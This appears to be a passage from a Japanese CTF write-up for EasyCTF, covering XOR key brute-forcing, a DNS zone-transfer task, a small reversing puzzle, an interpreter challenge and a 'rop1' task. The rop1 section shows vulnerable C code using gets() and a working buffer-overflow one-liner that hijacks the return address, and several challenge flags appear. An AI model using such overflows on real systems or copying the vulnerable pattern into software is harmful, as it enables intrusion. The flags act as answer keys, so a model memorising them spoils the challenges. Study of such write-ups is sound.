00000020: 151b 181d 0016 091f 0a17 1e08 0811 1612  ................
00000030: 1009 0200 090d 040b 0c13 0e1b 0f09 1211  ................
00000040: 131a 1719 1d16 111d 1517 08              ...........
$ irb
irb(main):002:0> (0x04 ^ 'e'.ord).chr
=> "a"
irb(main):003:0> (0x06 ^ 'a'.ord).chr
=> "g"
irb(main):004:0> (0x14 ^ 's'.ord).chr
=> "g"
irb(main):005:0> (0x0b ^ 'y'.ord).chr
=> "r"
irb(main):006:0> (0x02 ^ 'c'.ord).chr
=> "a"
irb(main):007:0> (0x02 ^ 't'.ord).chr
=> "v"
irb(main):008:0> (0x07 ^ 'f'.ord).chr
=> "a"
irb(main):009:0> (0x0f ^ '{'.ord).chr
=> "t"

aggravatで始まる単語は5つしかないので、5 * 20537通りとなり全探索できるようになる。

encrypted = File.binread('keyed_xor.txt').bytes
 
['aggravated', 'aggravation', 'aggravating', 'aggravate', 'aggravations'].each do |a|
  File.read('words.txt').split("\n").each do |b|
    decrypted = ''
    key = a + b
    encrypted.each_with_index do |ch, i|
      decrypted += (key[i % key.size].ord ^ ch.ord).chr
    end
    
    puts decrypted
  end
end

Digging for Soup 150pts

2つあったDNSの問題の一つ。キャッシュサーバが権威サーバからゾーン情報を取得するのに使われるゾーン転送要求・AXFRというものを使う。寮内のLANからはdigができないのでhttp://digwebinterface.com/を使った。

gyazo.com

gyazo.com

https://i.gyazo.com/48002ac037b4f7fc3040c7ec2fb21a6c.png

EzReverse 140pts

実行すると自身を削除してしまうので、逆アセンブルして読む。これぐらいの小さなアセンブリでも普通に1時間弱溶けてしまうので早く慣れたいなあ。
コマンドライン引数の文字をABCDEとして表すと、以下のような式が成り立つときにFLAGを表示する。

4 + D = 'o'
4 + D + 0xe = 3 + C
1 + A = 5 + E - 10
2 + B = '5'
3 + 4 + D = 5 + E

あてはまる文字列はg3zkmになる。

$ ./executable g3zkm
Now here is your flag: 10453125111114 

rop1 120pts

バッファオーバフローでget_flag()にリターンさせる。これぐらいはラクラク解けるようになってきた。

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
 
void get_flag()
{
    system("/bin/cat flag.txt");
}
 
void get_input()
{
    char inp[64];
    gets(inp);
    printf("You said: %s\n", inp);
}
 
int main(int argc, char** argv)
{
    gid_t gid = getegid();
    setresgid(gid,gid,gid);
    get_input();
    return 0;
}

get_flag()0x400646にある。

$ python -c  'print("\x00" * 72 + "\x46\x06\x40\x00")' | ./rop1
You said: 
easyctf{r0ps_and_h0ps}
Segmentation fault (core dumped)

Little Language 250pts

何故解けたかさっぱりわからない。
自分がこれを解いたのは全チームのなかで5,6番目だったのだが、Discordで「解法を交換しないか」とb0bb3rという参加者からメッセージが送られてきた。どのチームかはわからないが酷い。

次のような数式っぽい画像encryptedと、BNFのようなテキストが添付される。この2つをもとパスワードをゲットしてログインする。
https://i.gyazo.com/5ad7213d010347427d611fb66e461424.png

S : E                           { ExpS $1 }
  | global var '=' E            { GlobalVarS $2 $4 }

REDACTEDとして除去されていた画像中のpasswordはl7&4C&Cgなようだ。

$ strings password
....
note: the password is l7&4C&Cg

与えられたアドレスとポートに接続すると、対話型の画面が出る。

> 3 + 5
8
> ghiehut4
Lexなんとか Error

おそらくここからログインするのだろうが、さっぱりわからないので添付されたテキストファイルを見てみる。
ExpSはおそらくExpression, 式のことで、GlobalVarSグローバル変数ではないかと思った。$2は左側のvarの位置に入力された文字列が入り、$4には左側にあるE(式)の評価結果が入ると推測して入力してみる。

> global username = root
....
> global password = l7&4C&Cg
....
> username
root

どうやら推測が当たったようだ。そして最後のログインもいろいろエスパーしたらなんか出てきた。

> login
(エラー)
> login username password
(エラー)
> signin
(エラー)
....
> flag
EasyCTF{5m4ll_573p_53m4n71c5_4r3_fun_r16h7?}

実は上の数式のようなものは、「small-step semantics」といって、計算機科学の分野では一般的なものらしい。
http://proofcafe.org/sf/Smallstep_J.html ここに説明が書いてあるので後で読んでみたい。